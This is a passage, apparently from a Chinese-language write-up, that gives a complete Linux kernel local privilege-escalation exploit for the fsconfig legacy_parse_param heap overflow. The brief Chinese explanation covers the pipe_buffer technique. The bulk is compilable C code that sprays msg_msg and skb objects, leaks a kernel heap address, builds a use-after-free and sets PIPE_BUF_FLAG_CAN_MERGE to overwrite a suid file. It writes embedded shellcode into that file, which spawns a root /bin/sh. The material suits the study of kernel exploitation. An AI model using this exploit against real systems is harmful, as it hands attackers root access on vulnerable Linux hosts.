msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);    if (n < 0)      continue;    if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)    {      fake_msqid = msqid_1[i];      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)        die("msgget() error");      loginfo("fake_msqid = %d", fake_msqid);      break;    }  }  if (fake_msqid < 0)  {    clean_msg_1();    return 0;  }  clean_msg_1();  return 1;}int main(int argc, char const *argv[]){...    fake_msg_msg_at_kmalloc_1024();    close(fsid);    fsid = call_fsopen();    while (!create_uaf(fsid))    {      close(fsid);      fsid = call_fsopen();      logdebug("retry create_uaf()");    }...  return 0;}

pipe_primitive

此时，通过 corrupted_msg_msg（即 fake_msqid）释放 kmalloc_1024 堆块，然后喷射 pipe_buffer 占位，同时调用 splice 把目标文件缓存页接入 pipe_buffer

利用 skb 修改文件缓存页对应的 pipe_buffer 的 flags 为 PIPE_BUF_FLAG_CAN_MERGE，向 pipe 写入数据即可成功修改只有读权限的 suid 程序文件

通过覆盖 suid 程序文件为恶意代码，执行恶意代码 getshell 提权：

void pipe_primitive(){  char buff[0x400];  logdebug("open target file %s", ATTACK_FILE);  if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)    die("failed to open target file");  logdebug("freeing fake msg_msg...");  if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)    die("msgrcv() error");  logdebug("spraying pipe_buffer...");  for (int i = 0; i < NUM_PIPEFDS; i++)  {    if (pipe(pipe_fd[i]))    {      die("Alloc pipe failed");    }    write(pipe_fd[i][1], buff, 0x100 + i);    loff_t offset = 1;    ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);    if (nbytes < 0)    {      die("splice() failed");    }  }  logdebug("free skbuff_data to make pipe_buffer become UAF");  int uaf_pipe_idx = -1;  char backup_skb[sizeof(skb)];  int PIPE_BUF_FLAG_CAN_MERGE = 0x10;  memset(skb, 0, sizeof(skb));  for (int i = 0; i < NUM_SOCKETS; i++)  {    for (int j = 0; j < NUM_SKBUFFS; j++)    {      if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)      {        die("read from sock pairs failed");      }      struct pipe_buffer *pb = (struct pipe_buffer *)skb;      if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)      {        uaf_pipe_idx = pb->len - 0x100;        loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);        memcpy(backup_skb, skb, sizeof(skb));      }    }  }  if (uaf_pipe_idx < 0)    die("uaf_pipe_idx not found");  logdebug("edit pipe_buffer->flags");  struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;  pb[1].len = 0;  pb[1].offset = 0;  pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;  pb[1].ops = pb[0].ops;  spray_skbuff_data(backup_skb, sizeof(backup_skb));  logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,           pipe_fd[uaf_pipe_idx][1]);  if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=      sizeof(attack_data))    die("write");  logdebug("see if %s changed", ATTACK_FILE);  close(tfd);  tfd = open(ATTACK_FILE, O_RDONLY);  if (tfd < 0)  {    die("open attack file");  }  char tmp_buffer[0x10];  read(tfd, tmp_buffer, 0x10);  uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);  if (ptr[0] != 0x56565656)  {    die("overwrite attack file failed: 0x%08x", ptr[0]);  }}

exp

// gcc -static -o exp exp.c#define _GNU_SOURCE#include <fcntl.h>#include <inttypes.h>#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/socket.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#ifndef __NR_fsconfig#define __NR_fsconfig 431#endif#ifndef __NR_fsopen#define __NR_fsopen 430#endif#define FSCONFIG_SET_STRING 1#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)#define fsconfig(fd, cmd, key, value, aux) \  syscall(__NR_fsconfig, fd, cmd, key, value, aux)#define NUM_SOCKETS (4)#define NUM_SKBUFFS (0x80)#define NUM_MSQIDS_1 (8)#define NUM_MSQIDS_2 (0x400)#define NUM_PIPEFDS (0x100)#define SKB_SHARED_INFO_SIZE 0x140#define MSG_A_TEXT_SIZE \  (0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))#define MTYPE_A (0x41)#define MTYPE_B1 (0x42)#define MTYPE_B2 (0x43)#define MTYPE_FAKE (0x45)#define MSG_TAG (0xdeadaaaa)#define ATTACK_FILE "/suid-test"#define logdebug(fmt, ...) \  dprintf(1, "\033[32m[*] " fmt "\033[0m\n", ##__VA_ARGS__)#define loginfo(fmt, ...) \  dprintf(1, "\033[34m[+] " fmt "\033[0m\n", ##__VA_ARGS__)#define logerror(fmt, ...) \  dprintf(2, "\033[31m[-] " fmt "\033[0m\n", ##__VA_ARGS__)#define die(fmt, ...)                      \  do                                       \  {                                        \    logerror(fmt, ##__VA_ARGS__);          \    logerror("Exit at line %d", __LINE__); \    write(notify_pipe[1], "N", 1);         \    exit(1);                               \  } while (0)struct list_head{  uint64_t next;  uint64_t prev;};struct msg_msg{  struct list_head m_list;  uint64_t m_type;  uint64_t m_ts;  uint64_t next;  uint64_t security;  char mtext[0];};struct msg_msgseg{  uint64_t next;};struct typ_msg{  long mtype;  char mtext[0];};struct pipe_buffer{  uint64_t page;  uint32_t offset;  uint32_t len;  uint64_t ops;  uint32_t flags;  uint32_t pad;  uint64_t private;};struct pipe_buf_operations{  uint64_t confirm;  uint64_t release;  uint64_t steal;  uint64_t get;};char msg_buffer[0x2000];char skb[1024 - SKB_SHARED_INFO_SIZE];struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer;int sock_pairs[NUM_SOCKETS][2];int msqid_1[NUM_MSQIDS_1];int msqid_2[NUM_MSQIDS_2];int pipe_fd[NUM_PIPEFDS][2];int notify_pipe[2];uint64_t kmalloc_1024;int corrupted_msqid = -1;int uaf_msqid = -1;int fake_msqid;int tfd;const char attack_data[] = {    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x56, 0x56, 0x56,    0x56, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00,    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xd2,    0x31, 0xf6, 0x6a, 0x75, 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62,    0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6,    0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};void init_unshare(){  int fd;  char buff[0x100];  // strace from `unshare -Ur xxx`  unshare(CLONE_NEWNS | CLONE_NEWUSER);  fd = open("/proc/self/setgroups", O_WRONLY);  snprintf(buff, sizeof(buff), "deny");  write(fd, buff, strlen(buff));  close(fd);  fd = open("/proc/self/uid_map", O_WRONLY);  snprintf(buff, sizeof(buff), "0 %d 1", getuid());  write(fd, buff, strlen(buff));  close(fd);  fd = open("/proc/self/gid_map", O_WRONLY);  snprintf(buff, sizeof(buff), "0 %d 1", getgid());  write(fd, buff, strlen(buff));  close(fd);}void init_msg(){  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)      die("msgget() error");  }  for (int i = 0; i < NUM_MSQIDS_2; i++)  {    if ((msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)      die("msgget() error");  }}void clean_msg_1(){  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT);  }}void clean_msg_2(){  for (int i = 0; i < NUM_MSQIDS_2; i++)  {    msgrcv(msqid_2[i], msg_b, 64 - sizeof(struct msg_msg), MTYPE_B1,           IPC_NOWAIT);    msgrcv(msqid_2[i], msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2,           IPC_NOWAIT);  }}void init_sock(){  for (int i = 0; i < NUM_SOCKETS; i++)  {    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0)      die("socketpair() error");  }}void bind_cpu(){  cpu_set_t my_set;  CPU_ZERO(&my_set);  CPU_SET(0, &my_set);  if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set))  {    die("sched_setaffinity() error");  }}int call_fsopen(){  int fd = fsopen("ext4", 0);  if (fd < 0)  {    die("fsopen() error");  }  return fd;}void spray_skbuff_data(void *ptr, size_t size){  for (int i = 0; i < NUM_SOCKETS; i++)  {    for (int j = 0; j < NUM_SKBUFFS; j++)    {      if (write(sock_pairs[i][0], ptr, size) < 0)      {        die("write to sock pairs failed");      }    }  }}void free_skbuff_data(void *ptr, size_t size){  for (int i = 0; i < NUM_SOCKETS; i++)  {    for (int j = 0; j < NUM_SKBUFFS; j++)    {      if (read(sock_pairs[i][1], ptr, size) < 0)      {        die("read from sock pairs failed");      }    }  }}void prepare_overflow(int fsid){  char buff[0x100];  logdebug("prepare fsconfig heap overflow");  memset(buff, 0, sizeof(buff));  memset(buff, 'A', 0x100 - 2);  for (int i = 0; i < 0xf; i++)  {    // ",=" + buff    fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);  }  memset(buff, 0, sizeof(buff));  memset(buff, 'B', 0x100 - 3);  // ",=" + buff  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);}int do_leak_heap(int fsid){  char buff[0x100];  logdebug("--- do_leak_heap ---");  prepare_overflow(fsid);  logdebug("spraying messasge queue 1...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    msg_a->mtype = MTYPE_A;    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);    ((int *)&msg_a->mtext)[0] = MSG_TAG;    ((int *)&msg_a->mtext)[1] = i;    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)      die("msgsnd() error");  }  logdebug("spraying messasge queue 2...");  for (int i = 0; i < NUM_MSQIDS_2; i++)  {    size_t n = 1024 - sizeof(struct msg_msg);    memset(msg_b->mtext, 'B', n);    ((int *)&msg_b->mtext)[0] = MSG_TAG;    ((int *)&msg_b->mtext)[1] = i;    msg_b->mtype = MTYPE_B1;    n = 64 - sizeof(struct msg_msg);    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)      die("msgsnd() error");    msg_b->mtype = MTYPE_B2;    n = 1024 - sizeof(struct msg_msg);    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)      die("msgsnd() error");  }  logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");  memset(buff, 0, sizeof(buff));  strcat(buff, "0000000");  // m_list.next  strcat(buff, "11111111"); // m_list.prev  strcat(buff, "22222222"); // m_type  uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;  memcpy(buff + strlen(buff), &target_size, 2); // m_ts  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);  logdebug("searching corrupted msg_msg...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,                      MSG_COPY | IPC_NOWAIT);    if (n < 0)      continue;    if (n == MSG_A_TEXT_SIZE + 64 * 30)    {      corrupted_msqid = msqid_1[i];      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <          0) // call clean_msg_1 without crash        die("msgget() error");      struct msg_msg *p =          (struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);      for (int j = 0; j < 30; j++)      {        if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&            ((int *)&p->mtext)[0] == MSG_TAG)        {          uaf_msqid = msqid_2[((int *)&p->mtext)[1]];          loginfo("corrupted_msqid = %d", corrupted_msqid);          loginfo("uaf_msqid = %d", uaf_msqid);          kmalloc_1024 = p->m_list.next;          // call clean_msg_2 without crash          if ((msqid_2[((int *)&p->mtext)[1]] =                   msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)            die("msgget() error");          break;        }        p++;      }      break;    }  }  clean_msg_1();  clean_msg_2();  if (uaf_msqid < 0)    return 0;  loginfo("kmalloc_1024 = %#lx", kmalloc_1024);  return 1;}void fake_msg_msg_at_kmalloc_1024(){  logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");  logdebug("free kmalloc-1024");  if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)    die("msgrcv() error");  logdebug("spraying skb...");  memset(skb, 0, sizeof(skb));  struct msg_msg *msg = (struct msg_msg *)skb;  msg->m_list.next = kmalloc_1024 + 0x200; // no matter  msg->m_list.prev = kmalloc_1024 + 0x300; // no matter  msg->m_type = MTYPE_FAKE;  msg->m_ts = 0x100;  msg->security = 0;  msg++;  msg->m_list.next = kmalloc_1024;  msg->m_list.prev = kmalloc_1024 + 0x400; // no matter  msg->m_type = MTYPE_A;  msg->m_ts = 0x233;  msg->security = 0;  spray_skbuff_data(skb, sizeof(skb)); }int create_uaf(int fsid){  char buff[0x100];  int target_idx = -1;  logdebug("--- create_uaf ---");  prepare_overflow(fsid);  logdebug("spraying messasge queue 1...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    msg_a->mtype = MTYPE_A;    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);    ((int *)&msg_a->mtext)[0] = MSG_TAG;    ((int *)&msg_a->mtext)[1] = i;    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)      die("msgsnd() error");  }  logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "           "msg_msg.m_ts");  memset(buff, 0, sizeof(buff));  struct msg_msg *msg = (struct msg_msg *)buff;  msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);  msg->m_list.prev = 0xdeadbeefdeadbeef;  msg->m_type = MTYPE_A; // append '=\x00'  fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);  logdebug("searching corrupted msg_msg for freeing fake msg_msg...");  fake_msqid = -1;  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    size_t n = msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);    if (n < 0)      continue;    if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)    {      fake_msqid = msqid_1[i];      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)        die("msgget() error");      loginfo("fake_msqid = %d", fake_msqid);      break;    }  }  if (fake_msqid < 0)  {    clean_msg_1();    return 0;  }  clean_msg_1();  return 1;}void pipe_primitive(){  char buff[0x400];  logdebug("open target file %s", ATTACK_FILE);  if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)    die("failed to open target file");  logdebug("freeing fake msg_msg...");  if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)    die("msgrcv() error");  logdebug("spraying pipe_buffer...");  for (int i = 0; i < NUM_PIPEFDS; i++)  {    if (pipe(pipe_fd[i]))    {      die("Alloc pipe failed");    }    write(pipe_fd[i][1], buff, 0x100 + i);    loff_t offset = 1;    ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);    if (nbytes < 0)    {      die("splice() failed");    }  }  logdebug("free skbuff_data to make pipe_buffer become UAF");  int uaf_pipe_idx = -1;  char backup_skb[sizeof(skb)];  int PIPE_BUF_FLAG_CAN_MERGE = 0x10;  memset(skb, 0, sizeof(skb));  for (int i = 0; i < NUM_SOCKETS; i++)  {    for (int j = 0; j < NUM_SKBUFFS; j++)    {      if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)      {        die("read from sock pairs failed");      }      struct pipe_buffer *pb = (struct pipe_buffer *)skb;      if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)      {        uaf_pipe_idx = pb->len - 0x100;        loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);        memcpy(backup_skb, skb, sizeof(skb));      }    }  }  if (uaf_pipe_idx < 0)    die("uaf_pipe_idx not found");  logdebug("edit pipe_buffer->flags");  struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;  pb[1].len = 0;  pb[1].offset = 0;  pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;  pb[1].ops = pb[0].ops;  spray_skbuff_data(backup_skb, sizeof(backup_skb));  logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,           pipe_fd[uaf_pipe_idx][1]);  if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=      sizeof(attack_data))    die("write");  logdebug("see if %s changed", ATTACK_FILE);  close(tfd);  tfd = open(ATTACK_FILE, O_RDONLY);  if (tfd < 0)  {    die("open attack file");  }  char tmp_buffer[0x10];  read(tfd, tmp_buffer, 0x10);  uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);  if (ptr[0] != 0x56565656)  {    die("overwrite attack file failed: 0x%08x", ptr[0]);  }}int main(int argc, char const *argv[]){  int fsid;  int pid;  if (pipe(notify_pipe) < 0)    die("pipe() error");  if ((pid = fork()) == 0)  {    init_unshare();    bind_cpu();    init_sock();    init_msg();    fsid = call_fsopen();    while (!do_leak_heap(fsid))    {      close(fsid);      fsid = call_fsopen();      logdebug("retry do_leak_heap()");    }    fake_msg_msg_at_kmalloc_1024();    close(fsid);    fsid = call_fsopen();    while (!create_uaf(fsid))    {      close(fsid);      fsid = call_fsopen();      logdebug("retry create_uaf()");    }    pipe_primitive();    loginfo("exploit success!");    write(notify_pipe[1], "Y", 1);    pause();  }  else if (pid > 0)  {    char sync;    read(notify_pipe[0], &sync, 1);    if (sync == 'Y')      execl(ATTACK_FILE, ATTACK_FILE, NULL);  }  else  {    die("fork() error");  }  return 0;}